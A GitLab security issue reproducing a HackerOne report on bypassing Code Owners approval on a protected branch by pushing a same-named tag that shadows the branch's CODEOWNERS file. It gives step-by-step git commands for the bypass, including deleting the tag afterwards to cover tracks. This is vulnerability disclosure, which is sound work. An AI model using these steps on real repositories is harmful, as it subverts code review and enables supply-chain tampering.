Bypassing Code Owners branch protection rule in GitLab
:warning: **Please read [the process](https://gitlab.com/gitlab-org/release/docs/-/blob/master/general/security/developer.md) on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.**
**[HackerOne report #1898054](https://hackerone.com/reports/1898054)** by `inspector-ambitious` on 2023-03-09, assigned to @cmaxim:
[Report](#report) | [Attachments](#attachments) | [How To Reproduce](#how-to-reproduce)
## Report
#### Summary
I believe I discovered a vulnerability that could potentially allow an attacker with Developer Role access to a repository to circumvent Code Owners approval branch protection when submitting merge requests.
This could be accomplished by creating a tag with the same name as the protected branch, which would render the Code Owners approval rule ineffective.
The following is extracted from this [documentation](https://git-scm.com/docs/gitrevisions#Documentation/gitrevisions.txt-emltrefnamegtemegemmasterememheadsmasterememrefsheadsmasterem).
> A symbolic ref name. E.g. `master` typically means the commit object referenced by `refs/heads/master`. If you happen to have both `heads/master` and `tags/master`, you can explicitly say heads/master to tell Git which one you mean. When ambiguous, a `<refname>` is disambiguated by taking the first match in the following rules:
>
> If $GIT_DIR/`<refname>` exists, that is what you mean (this is usually useful only for HEAD, FETCH_HEAD, ORIG_HEAD, MERGE_HEAD and CHERRY_PICK_HEAD);
>
> - otherwise, refs/`<refname>` if it exists;
>
> - otherwise, refs/tags/`<refname>` if it exists;
>
> - otherwise, refs/heads/`<refname>` if it exists;
>
> - otherwise, refs/remotes/`<refname>` if it exists;
>
> - otherwise, refs/remotes/`<refname>`/HEAD if it exists.
Consequently by abusing git ambiguous ref name, an attacker could merge the request without the required approval, because a `CODEOWNERS` file inside a tag reference will take precedence over the one in the branch assuming both tag and branch have the same name.
#### Steps to reproduce
To reproduce this vulnerability we will use one repository and 2 accounts
- a maintainer/victim: root
- a developer/attacker: inspector
##### Step 1: Repository setup (victim context)
1. Create a blank private repository with a `README`.
2. Add a `CODEOWNERS` file with the following content
```
* [@]root
```

3. Create another branch called `devel` based on `main`

Please note that since we can't create tags that matches the default branch, this attack can only target a non default branch (hence we will run it against `devel`)
4. Go to `Settings > Repository` and add `devel` as a protected branch.

Allowed to merge: Developers + Maintainers
Allowed to push and merge: Maintainers
Allowed to force push: Disabled
Code owner approval: Enabled
5. Go to `Setting > Merge Requests` and at the bottom of the page tick the box `Prevent editing approval rules in merge requests` and save the changes.

Please note that at this stage the branch `devel` is protected, because no `Developer` can merge a Merge Request or push to it without prior approval from `[@]root` as defined in the `CODEOWNERS` file.
6. Go to `Project Information > Members` and add `[@]inspector` as a member with the role `Developer`.

##### Step 2: The attack (attacker context)
1. Clone the repository and create push the malicious tag.
```
git clone git@gitlab.server:gitlab-instance-xxxx/codeowners_bypass.git
cd codeowners_bypass
git fetch origin # optional
git checkout origin/devel -b devel_tag
rm CODEOWNERS
git add CODEOWNERS
git commit -m "attack"
git push origin devel_tag:refs/tags/devel
```
At this stage the Code Owners approval rules are disabled.
2. Prepare a branch with malicious content.
```
git checkout origin/devel -b hack
echo 1 > malicious_file
git add malicious_file
git commit -m "add malicious_file"
git push origin hack
```
3. Create a Merge Request from `hack` to `devel` and merge it.


4. Delete the tag to cover your track
```
git push origin -d refs/tags/devel
```
5. Finally go to the `devel` branch.

The `malicious_file` is there, the `devel` branch integrity has been compromised !
#### What is the current *bug* behavior?
The merge request can be merged since approval becomes optional.

#### What is the expected *correct* behavior?
The merge should be blocked since it requires approval from Code Owners.

#### Output of checks
While tested on a local instance (15.9.2 ) only, it is likely this vulnerability affects GitLab.com as well.
#### Impact
This can potentially compromise the integrity of the source code hosted on the repository and/or allow the attacker to execute malicious code on the affected systems (developer machines, stealing Gitlab CI secrets, supply chain attack etc...).
Please also note that the attack does not require any user interaction from the maintainer of the repository to be carried out.
## Attachments
**Warning:** Attachments received through HackerOne, please exercise caution!
* [image.png](https://h1.sec.gitlab.net/a/1f4d4419-2793-48a9-983b-1969591f4ca9/image.png)
* [image.png](https://h1.sec.gitlab.net/a/23efd73e-6cac-4233-b2ec-75982c78a038/image.png)
* [image.png](https://h1.sec.gitlab.net/a/3761cb2e-8103-4633-b75d-ed383fdf3afa/image.png)
* [image.png](https://h1.sec.gitlab.net/a/953d2674-ba22-4408-876c-0bd30705f571/image.png)
* [image.png](https://h1.sec.gitlab.net/a/9caa3ebf-faa6-46ab-b42f-e0bf513e0992/image.png)
* [image.png](https://h1.sec.gitlab.net/a/d9ae69e7-9ec7-4930-bd2b-6efe48d36512/image.png)
* [image.png](https://h1.sec.gitlab.net/a/88235803-2447-4dda-985a-b264f62592bb/image.png)
* [image.png](https://h1.sec.gitlab.net/a/2a1b3936-db8f-40bc-b9b4-b68e05e12202/image.png)
* [image.png](https://h1.sec.gitlab.net/a/f81f8312-dbcc-403c-a18e-92419420ef2d/image.png)
* [image.png](https://h1.sec.gitlab.net/a/13b31688-4716-4093-aec1-398e40468130/image.png)
## How To Reproduce
Please add [reproducibility information] to this section:
1.
1.
1.
[reproducibility information]: https://about.gitlab.com/handbook/engineering/security/#reproducibility-on-security-issues
issue